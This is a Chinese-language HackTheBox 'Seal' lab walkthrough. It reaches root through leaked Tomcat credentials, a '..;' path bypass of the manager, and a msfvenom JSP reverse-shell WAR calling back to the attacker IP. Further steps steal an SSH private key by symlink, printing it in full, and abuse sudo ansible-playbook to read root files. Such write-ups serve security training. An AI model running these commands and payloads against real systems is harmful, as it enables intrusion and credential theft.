Hackthebox - Seal

靶场信息

靶场类型

信息搜集 首先使用Nmap进行信息搜集

nmap -A -sS -sC -sV -p- 10.10.10.250
┌──(root💀root)-[~/Desktop]
└─# nmap -A -sS -sC -sV -p- 10.10.10.250
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-12 12:42 CST
Nmap scan report for 10.10.10.250
Host is up (0.24s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Mon, 12 Jul 2021 05:05:34 GMT
|     Set-Cookie: JSESSIONID=node01f74sr5qgmlr67kq6xg2imreb3.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest:
|     HTTP/1.1 401 Unauthorized
|     Date: Mon, 12 Jul 2021 05:05:32 GMT
|     Set-Cookie: JSESSIONID=node071ucs4ccblk71m8qso25gjtua1.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Mon, 12 Jul 2021 05:05:33 GMT
|     Set-Cookie: JSESSIONID=node01dhmxhla4mm47fdkiw6xmfoxq2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck:
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest:
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4:
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5:
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.91%I=7%D=7/12%Time=60EBCAB6%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Mon,\x2012\x2
SF:0Jul\x202021\x2005:05:32\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node071ucs
SF:4ccblk71m8qso25gjtua1\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu
SF:,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html
SF:;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,108,"HTT
SF:P/1\.1\x20200\x20OK\r\nDate:\x20Mon,\x2012\x20Jul\x202021\x2005:05:33\x
SF:20GMT\r\nSet-Cookie:\x20JSESSIONID=node01dhmxhla4mm47fdkiw6xmfoxq2\.nod
SF:e0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x20
SF:00:00:00\x20GMT\r\nContent-Type:\x20text/html;charset=utf-8\r\nAllow:\x
SF:20GET,HEAD,POST,OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest
SF:,AD,"HTTP/1\.1\x20505\x20Unknown\x20Version\r\nContent-Type:\x20text/ht
SF:ml;charset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20close\
SF:r\n\r\n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Version
SF:</pre>")%r(FourOhFourRequest,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nDa
SF:te:\x20Mon,\x2012\x20Jul\x202021\x2005:05:34\x20GMT\r\nSet-Cookie:\x20J
SF:SESSIONID=node01f74sr5qgmlr67kq6xg2imreb3\.node0;\x20Path=/;\x20HttpOnl
SF:y\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nConten
SF:t-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(
SF:Socks5,C3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL=0x5\r\nCont
SF:ent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x2069\r\nC
SF:onnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x
SF:20Illegal\x20character\x20CNTL=0x5</pre>")%r(Socks4,C3,"HTTP/1\.1\x2040
SF:0\x20Illegal\x20character\x20CNTL=0x4\r\nContent-Type:\x20text/html;cha
SF:rset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\r\
SF:n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20character\x20
SF:CNTL=0x4</pre>")%r(RPCCheck,C7,"HTTP/1\.1\x20400\x20Illegal\x20characte
SF:r\x20OTEXT=0x80\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nCon
SF:tent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x2
SF:0400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre>");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=7/12%OT=22%CT=1%CU=41179%PV=Y%DS=2%DC=T%G=Y%TM=60EBCAE
OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   241.94 ms 10.10.14.1
2   242.04 ms 10.10.10.250

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 716.52 seconds

从上面的扫描结果,我们得到了几个信息 - 开启了224438080端口 - 8080端口是一个http服务 - 8080端口显示401,但可以访问

我们访问一下8080端口

发现这是一个登录框,使用的cms是gitbucket

随便注册一个账号登陆后,发现了关于nginx和tomcat的东西,目前怀疑该系统使用了nginx或者tomcat进行搭建

登陆后发现了一个名为seal_market的repo,这应该是443端口的代码库。但我们无法通过IP进行访问443端口,应该是需要添加一个域名

echo 10.10.10.250 seal.htb >> /etc/hosts

运行后发现确实8080端口的gitbucket是443端口的代码库

我们在8080端口上可以看到有一些待办事项

Remove mutual authentication for dashboard, setup registration and login features.
Deploy updated tomcat configuration.
Disable manager and host-manager.

在尝试更新

tomcat/tomcat-users.xml

文件的时候,找到了tomcat的账号密码

http://10.10.10.250:8080/root/seal_market/commit/971f3aa3f0a0cc8aac12fd696d9631ca540f44c7
username = tomcat
password = 42MrHBf*z8{Z%

在尝试查看robots.txt的时候,提示404,但从这个404状态页面我们可以知道,该服务器使用了tomcat,并且我们手里拿到了tomcat的账号密码,那我们就直接登录吧

https://seal.htb/manager/status

直接使用tomcat默认的地址进行登录,然后进到了tomcat的管理页面 ## 漏洞利用

https://seal.htb/manager/status/..;/html

我们直接使用msfvenom生成一个war马,然后上传利用即可

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.24 LPORT=4444 -f war -o shell.war

然后去上传到靶机里

上传的时候提示403,有点迷惑。

经过各种尝试后发现,这是白名单过滤,咱们需要抓包然后绕过一下

原URL
POST /manager/html/upload;jsessionid=55F7E6377E4EE40C4466AB9F3403C5C9?org.apache.catalina.filters.CSRF_NONCE=229A49D013A85C24C1703530CB2440AD HTTP/1.1
修改为
POST /manager/status/..;/html/upload;jsessionid=55F7E6377E4EE40C4466AB9F3403C5C9?org.apache.catalina.filters.CSRF_NONCE=229A49D013A85C24C1703530CB2440AD HTTP/1.1

咱们可以看到,shell成功上传,咱们本地使用nc监听一个端口

nc -nvlp 4444

然后访问一下shell页面

https://seal.htb/shell/

使用python3获取一个稳定的shell链接

python3 -c 'import pty;pty.spawn("/bin/bash");'

成功获得一个shell

┌──(root💀root)-[~/Desktop]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.250] 32984
python3 -c 'import pty;pty.spawn("/bin/bash");'
tomcat@seal:/var/lib/tomcat9$
tomcat@seal:/home/luis$ ls -la
ls -la
total 51320
drwxr-xr-x 9 luis luis     4096 May  7 07:01 .
drwxr-xr-x 3 root root     4096 May  5 12:52 ..
drwxrwxr-x 3 luis luis     4096 May  7 06:00 .ansible
lrwxrwxrwx 1 luis luis        9 May  5 12:57 .bash_history -> /dev/null
-rw-r--r-- 1 luis luis      220 May  5 12:52 .bash_logout
-rw-r--r-- 1 luis luis     3797 May  5 12:52 .bashrc
drwxr-xr-x 3 luis luis     4096 May  7 07:00 .cache
drwxrwxr-x 3 luis luis     4096 May  5 13:45 .config
drwxrwxr-x 6 luis luis     4096 Jul 12 06:14 .gitbucket
-rw-r--r-- 1 luis luis 52497951 Jan 14 02:51 gitbucket.war
drwxrwxr-x 3 luis luis     4096 May  5 13:41 .java
drwxrwxr-x 3 luis luis     4096 May  5 14:33 .local
-rw-r--r-- 1 luis luis      807 May  5 12:52 .profile
drwx------ 2 luis luis     4096 May  7 06:10 .ssh
-r-------- 1 luis luis       33 Jul 12 06:15 user.txt

在用户目录luis下找到了user.txt文件,但我们没有权限访问,不过存在一个.ssh目录,并且我们是有权限进行访问的,我们访问看看

在目录/opt/backups/playbook中,找到了一个rum.yml文件,咱们查看一下内容

- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

思路这不就来了吗~

根据解读run.yml文件,咱们可以创建一个指向luisid_rsa的链接,我们可以把它放到/uploads目录中

/opt/backups/archives
ln -s ~/home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa
cp backup-2021-07-12-08:46:33.gz /dev/shm
cd /dev/shm
mv backup-2021-07-12-08:46:33.gz backup.tar.gz
tar -xvf backup.tar.gz

在目录/dev/shm/dashboard/uploads中,我们可以看到我们的id_rsa文件,我们查看一下内容

-----BEGIN OPENSSH PRIVATE KEY-----
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
u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE=
-----END OPENSSH PRIVATE KEY-----

咱们保存到本地,使用ssh进行登录

chmod 600 id_rsa
ssh luis@10.10.10.250 -i id_rsa
┌──(root💀root)-[~/Desktop]
└─# ssh luis@10.10.10.250 -i id_rsa
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 12 Jul 2021 09:00:29 AM UTC

  System load:           0.04
  Usage of /:            46.4% of 9.58GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             183
  Users logged in:       0
  IPv4 address for eth0: 10.10.10.250
  IPv6 address for eth0: dead:beef::250:56ff:feb9:af64

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Fri May  7 07:00:18 2021 from 10.10.14.2
luis@seal:~$

成功获得user权限

luis@seal:~$ cat user.txt
e2f0032d0a9f2ec1d750505f6789b8e2

成功拿到user权限的flag ## 权限提升

luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

使用sudo -l查看sudo权限后发现,咱们可以以root权限执行ansible-playebook

参考资料 https://docs.ansible.com/ansible/latest/user/guide/playbooks.html

创建一个名为root.yml的文件

- name: Ansible Copy Example Local to Remote
  hosts: localhost
  tasks:
    - name: copying file with playbook
      become: true
      copy:
        src: /root/root.txt
        dest: /dev/shm
        owner: luis
        group: luis
        mode: 0777

使用sudo /usr/bin/ansible-playbook执行root.yml文件

luis@seal:/dev/shm$ sudo /usr/bin/ansible-playbook root.yml
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [Ansible Copy Example Local to Remote] **********************************************************************************************************************************************************************

TASK [Gathering Facts] *******************************************************************************************************************************************************************************************
ok: [localhost]

TASK [copying file with playbook] ********************************************************************************************************************************************************************************
changed: [localhost]

PLAY RECAP *******************************************************************************************************************************************************************************************************
localhost                  : ok=2    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0
luis@seal:/dev/shm$ ls
passwd  root.txt  root.yml
luis@seal:/dev/shm$ cat root.txt
a18fdff4cccc7a1b0ef961fa8f007756

成功获得root权限的flag